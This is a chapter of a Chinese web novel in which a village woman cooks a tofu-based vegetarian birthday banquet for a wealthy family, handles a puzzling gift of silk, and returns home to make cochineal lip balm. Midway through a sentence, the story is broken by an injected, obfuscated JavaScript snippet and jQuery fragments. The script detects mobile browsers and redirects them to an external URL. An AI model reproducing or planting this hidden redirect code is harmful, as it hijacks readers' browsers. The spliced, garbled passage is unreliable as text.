从刘管事的态度中，盛屏大约明白，这是特意给她机会，让她把大别山的东西能拿走的都拿走，这可是一个大恩情。


    现在恩情既然已经欠下了，就要不遗余力的能拿全拿，不然后面还的时候，容易心里不平衡。


    盛屏去了车行，雇了十五辆板车，买了几十个筐子，把柳大娘、王豆子和王青一起带上，将村里的韭菜花和柚子尽可能的都采了，冬瓜、南瓜也摘了不少。


    可她还是感到不满意，把野山椒连土带根挖出来，村里的柚子树、柿子树削掉枝芽，只留下主干，光是这些树干就装了十车。


    隔天王英带着家人坐老刘头的船来到镇上，盛屏就把那些需要运回村里的树和野山椒交给老刘头，让他跟着大船带回村去。


    王豆子的二儿子一家暂时留在村里移山，家里其他人都来了，隔壁小院一早收拾过，他们当天就搬过去了。


    现在每日在店门口买豆腐的人已经形成了稳定的客流，畔柳桥那头不卖豆腐改卖豆花，生意比先前更好。


    为了让王豆子的豆腐在镇上彻底的出名，盛屏决定刘府老太太的寿宴，多用豆制品，打造一桌色香味俱全的素宴。


    她有十天的时间准备。


    盛屏把现有的豆制品种类写出来，加上其他食材，凑出了二十四道菜。


    八凉菜：小葱拌豆腐、凉拌豆皮、凉拌腐竹、凉拌萝卜丝、凉拌藕丁（酸口）、凉拌松花蛋、凉拌菠菜、珊瑚白菜。


    珊瑚白菜其实是醋溜白菜的变种，只是为了口感和摆盘，用了点儿技巧，只取用白菜内芯，保证不会有纤维感。


    顺着纹理切长条，撒薄盐杀出水，另外将干香菇泡水后切丝，焯水放凉，麦芽糖熬化放至温热时加醋。


    然后将腌制好的白菜裹布攥干水（保证卖相）放在底下，香菇丝、葱丝、姜丝，依次整齐码放在上面。


    再在面上浇糖醋水，起锅烧热油放花椒，炸出花椒的麻味，油泼后用重物压制一夜后，把白菜切成均匀的段码盘，边上放香菇丝、葱丝和新鲜的花椒叶点缀。


    十二热菜：麻婆豆腐、四喜丸子（豆腐、香菇、莲藕丁、笋丁）、干锅金针菇、清炒黄豆芽、福禄袋（口袋豆腐）、清炒藕片、如意节节高（冬笋斜切成片与蒜苗清炒）、翡翠玉卷（笋丝、萝卜丝用烫过的白菜叶卷起来蒸熟）。


    自然少不了素荤菜：


    熊掌豆腐（豆腐切厚片，油煎至两面金黄，红烧后用糯米粉勾芡）。


    糖醋排骨（莲藕做骨，冬瓜做肉）。


    烧鹅（黄花菜、豆芽、萝卜丝、木耳，切成细丝，用油豆皮包裹成长方形，小火油煎后浇上卤汁）。


    板栗烧鸡（野生平菇撕成丝攥干水，裹薄面糊油炸，与板栗一同红烧）。


    两汤点：菊花汤（豆腐切成菊花状的细丝，点缀新鲜黄菊花瓣）、冬瓜盅（酸白菜、香菇、萝卜、豆腐、冬笋、木耳、鹌鹑蛋一同炖煮）。


    饮料：蜂蜜柚子茶。


    两样点心：重阳糕、南瓜饼。


    两样糖：冬瓜糖、米花糖。


    此外还有用菠菜汁调色做的四季常青长寿面，底汤以萝卜、豆芽、香菇和冬笋熬制而成。


    月季花粉做寿桃，装上枣泥、红豆沙、南瓜泥做的馅儿。


    盛屏把菜单拟好以后，第二天就去刘府现做了一桌，刘管事从头看到尾，菜一上桌，他先挨个尝了一口，再让厨房其他的人都坐下试菜。


    府上常年吃素，能留在厨房的人，自有拿手菜，绕是这样盛屏做的这桌席面，在他们看来也相当的丰富。


    她几乎把能用的菜都给用上了，而且味道各有不同，就拿那八道凉菜来说，有的只加了醋，有的里面放了糖，有的偏麻，有的香油味儿重，有的麻酱多，把相同的食材用不同的调料调和，做出了味道层次丰富的菜肴。


    最为重要的是她的摆盘相当的精致，多用绿叶、红花、菊花装饰，看起来就花团锦簇，生机勃勃。


    于是纷纷给她竖起了大拇指。


    等到刘老太生辰当天，盛屏同刘府的人通力合作，顺利的把寿宴办下来。


    席间，刘老太对冬瓜盅赞不绝口，赏了盛屏一百两银子，得知她是位女子后，又赏了十匹今年新得的丝绸。


    这可是大手笔，使得热闹的席间突然冷寂下来，刘府众人神色各异，猜不透老太太此意何为，不过他们的心思跟盛屏无关，她带着赏银和布回了客栈。


    正是用钱的时候，这一百两无异于雪中送炭，盛屏几次打开匣子看了又看，不过偏头看到床上的丝绸发起愁来。


    普通百姓谁穿丝绸？


    丝绸珍贵，不好打理，除了十指不沾阳春水的富贵人家，平常人根本不会动心思去买，一来是没钱，二来是不划算。


    同时丝绸放着不用也是需要妥善保管的，不然很容易损坏，毕竟是天然的东西。


    她本打算直接卖给成衣店，又担心这东西万一是宫里出来的，她这一出手凭白给自己招麻烦。


    明明是个好东西，可身份地位不匹配，竟成了烫手山芋，盛屏气馁不已，最后还是决定收起来，不到万不得已不拿出来。


    正是她这一决定，让她误打误撞躲过了一场祸事。


    深夜，正是好睡的时辰，李氏客栈的大门被人敲响，伙计开门以后，见是刘员外家的管事，忙请进屋里，得知他是来找盛娘子的，便主动提了灯笼给他引路。


    伙计敲小院门，里面很快传来响动，主要是鸽子们咕咕咕的声音。


    开门的是王青，他睡眼惺忪看着站在门外的两人，“你们，你们，你们找谁？”


    “王小哥，这是刘员外府上的刘管事，他是来找盛娘子的，劳烦您去叫一声。”


    王青见过刘管事，他点点头，转身进屋，把盛屏叫出来。


    夜半时分，猛地被人吵醒，任谁心里都会忐忑起来，王秋云和盛屏一起，穿好衣服到院子里去。


    刘管事见了盛屏，来不及同她解释太多，只让她快点儿把白天老太太赏的十匹丝绸拿给他。


    盛屏认识刘管事有段时间了，还是第一次见他露出这样慌张的神色，也不多问，转身让王秋云同她一起把那十匹布拿给刘管事。


    刘管事拿了东西就走。


    盛屏本打算第二天就回村里的，这时也不急了，想着刘管事或许还会来找她，在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14994889|155811||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    镇上多留了两天，果然，在第二天的下午，刘管事又来客栈找她，还给她带了十匹布，不过不是丝绸，是常见的细棉布。


    刘管事同她解释：“老太太高兴得糊涂了，没把话说清楚，下头人拿错了，这才是给你的赏。”


    这话说得委婉，盛屏不想卷入刘府是非，没有刨根问底，客气的同刘管事说了几句恭维话，把他送走了，这才收拾行李，去码头坐船回村。


    在镇上一待就是半个多月，村里变化也不小，荒山又少了三座。


    如今村里视野开阔了不少，各处的地势平缓，而她让老刘头带回去的柿子树和柚子树，各家都拿了一株去，种在自家院子里，现在还看不出来是否成活。


    盛屏发现自家后院也种了一棵柚子树，王大娘说：“这下好了，同以前一样了。”


    对王大娘而言只要能安稳下来就是好日子。


    坐了两天的船，盛屏累得很，在床上躺了半天，醒来时外头已经黄昏了。


    院子里有人说话，盛屏开门一看，是蒋鹭和王大娘。


    因为在外移山，蒋鹭每日在外，盛屏发现他黑了些，好像也瘦了些，她怀疑她不在的这段时间，这两人没有好好吃饭。


    晚餐由盛屏亲自下厨，做了四菜一汤。


    盛屏回来是有正经事要做的，她去文杏家，看仙人掌，发现原本只有一株的仙人掌，现在竟然成了一排。


    文杏告诉她，“最近和刘大叔常常去镇上帮你卖乌鸡蛋，每次回来的时候就挖两株带回来，你看，长得多好。”


    文杏的确把它们养得很好，担心被鸡啄，还特意用树篱做了围挡，而且她心思活络，一听盛屏说胭脂虫用处大，便取了一片长着胭脂虫的仙人掌，把上面的胭脂虫分到其他仙人掌上面。


    于是盛屏就看到每株仙人掌上都长着胭脂虫，虽然数量少了些，但只是时间问题。


    盛屏用毛笔做刷子，轻轻把大多数的胭脂虫扫进竹筒里，带回家，取出色素，与融化的蜂蜡结合，做出唇脂。


    胭脂虫的香味浓郁，着色力很强，盛屏上嘴试了一下，色泽度比红纸口脂的效果好太多。


    数量不多，她珍惜的装在特意从镇上陶瓷店定做的拇指大小的白瓷盒里，一共得了五个，她给了文嫂子一盒，自己留了一盒，又拿去了荣二叔家，给了圆圆一盒。


    正碰见荣树河回家，她就同他说了王豆子的生意，同时也说了刘管事对她的帮助。


    荣树河神色放松，“他有心了。”


    他最关注的还是王豆子的生意，知道他一家已经在镇上站住了脚跟，这才放下心来，问盛屏她接下来有什么打算。


    “攒钱。”


    “现在村里没什么树木，可修建工坊是需要不少木材、砖瓦的，我刚得了一百两赏银，应该可以买些材料，先让荣山叔、荣昌叔忙起来，先建四个工坊，晚上我就去画图，明天给你拿来。”


    她把银子交给荣树河，“这钱你先拿着，去买材料。”


    荣树河没有拒绝，“这钱算是村里的公账，等后面这些工坊挣了钱，再还给你。”


    盛屏本不想跟他计较这些，可想想还是点头，“好。”